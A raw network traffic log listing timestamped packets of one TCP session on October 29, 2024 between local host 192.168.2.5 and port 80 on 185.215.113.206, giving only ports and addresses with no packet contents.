Oct 29, 2024 06:59:04.670013905 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.670101881 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.670155048 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.670166016 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.670202017 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.670190096 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.670263052 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.670268059 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.670305967 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.670315981 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.670358896 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.670367002 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.670408964 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.670414925 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.670448065 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.670454979 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.670488119 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.670495987 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.670530081 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.670538902 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.670558929 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.670573950 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.670593023 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.670598984 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.670625925 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.670633078 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.670655012 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.670665026 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.670686960 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.670718908 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.670722961 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.670763969 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.670767069 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.670802116 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.670806885 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.670808077 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.670841932 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.670850992 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.670876026 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.670892000 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.670924902 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.670933008 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.670959949 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.670978069 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.670991898 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.671008110 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.671036959 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.671046019 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.671080112 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.671093941 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.671113014 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.671119928 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.671144962 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.671156883 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.671180010 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.671185970 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.671209097 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.671221972 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.671242952 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.671248913 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.671277046 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.671284914 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.671308994 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.671338081 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.671353102 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.671365976 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.671399117 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.671412945 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.671433926 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.671441078 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.671471119 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.671474934 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.671504021 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.671510935 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.671535015 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.671540976 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.671569109 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.671577930 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.671607971 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.671607971 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.671642065 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.671644926 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.671674967 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.671681881 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.671709061 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.671725988 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.671741009 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.671746969 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.671775103 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.671787024 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.671809912 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.671809912 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.671849012 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.706087112 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.706118107 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.706151962 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.706185102 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.706187010 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.706218004 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.706262112 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.755875111 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.755953074 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.755995035 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.756035089 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.786202908 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.786254883 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.786295891 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.786331892 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.786339045 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.786382914 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.786391020 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.786418915 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.786422014 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.786453009 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.786458015 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.786485910 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.786489964 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.786519051 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.786526918 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.786552906 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.786556959 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.786590099 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.786592007 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.786624908 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.786632061 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.786659002 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.786664009 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.786693096 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.786700964 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.786737919 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.786808968 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.786854029 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.786859035 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.786900997 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.786909103 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.786956072 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.786974907 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.787010908 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.787024975 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.787044048 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.787058115 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.787079096 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.787082911 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.787111998 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.787130117 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.787147999 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.787156105 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.787180901 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.787192106 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.787214994 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.787224054 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.787254095 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.787255049 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.787297964 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.787441969 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.787488937 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.787502050 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.787537098 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.787549019 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.787570000 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.787575006 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.787615061 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.787622929 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.787656069 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.787664890 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.787689924 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.787699938 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.787723064 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.787729025 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.787758112 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.787775040 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.787791967 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.787805080 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.787830114 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.787832022 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.787874937 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.788079023 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.788130999 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.788131952 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.788165092 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.788170099 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.788204908 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.788228989 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.788274050 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.788280010 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.788312912 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.788321972 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.788346052 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.788353920 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.788381100 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.788388968 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.788414001 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.788424015 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.788449049 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.788450956 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.788496017 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.788976908 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.789011002 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.789028883 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.789047003 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.789052963 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.789093018 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.822843075 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.822875977 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.822905064 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.822932005 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.863276005 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.863303900 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.863334894 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.863348961 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.863363028 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.863387108 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.903052092 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.903124094 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.903137922 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.903167009 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.903178930 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.903212070 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.903230906 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.903248072 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.903261900 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.903284073 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.903291941 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.903336048 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.903361082 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.903393984 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.903413057 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.903430939 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.903449059 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.903465986 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.903477907 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.903515100 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.903516054 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.903565884 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.903575897 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.903600931 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.903610945 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.903634071 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.903647900 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.903667927 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.903680086 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.903702021 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.903709888 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.903748035 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.903753996 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.903796911 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.903805971 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.903841019 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.903851986 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.903879881 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.903903961 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.903939009 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.903951883 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.903983116 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.903990030 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.904022932 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.904038906 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.904057026 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.904066086 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.904093027 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.904105902 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.904126883 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.904140949 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.904162884 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.904175997 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.904207945 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.904445887 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.904479027 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.904500961 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.904514074 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.904520988 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.904553890 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.904565096 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.904598951 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.904616117 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.904633045 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.904649973 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.904673100 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.904684067 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.904716015 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.904728889 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.904750109 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.904762983 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.904784918 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.904798985 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.904818058 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.904830933 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.904851913 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.904865980 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.904886007 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.904896021 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.904922009 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.904930115 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.904966116 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.905354977 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.905405045 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.905411959 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.905440092 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.905451059 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.905483007 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.905493021 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.905528069 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.905543089 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.905560970 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.905569077 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.905595064 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.905610085 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.905630112 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.905641079 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.905675888 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.939680099 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.939740896 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.939815998 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.939831018 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.939846039 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.939863920 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.939892054 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.980104923 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.980135918 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.980190992 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.980214119 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.019898891 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.019973040 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.019975901 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.020010948 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.020016909 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.020045042 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.020051956 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.020080090 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.020116091 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.020117044 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.020136118 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.020153999 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.020154953 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.020189047 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.020200014 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.020241976 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.020242929 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.020277023 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.020288944 CET	49704	80	192.168.2.5	185.215.113.206
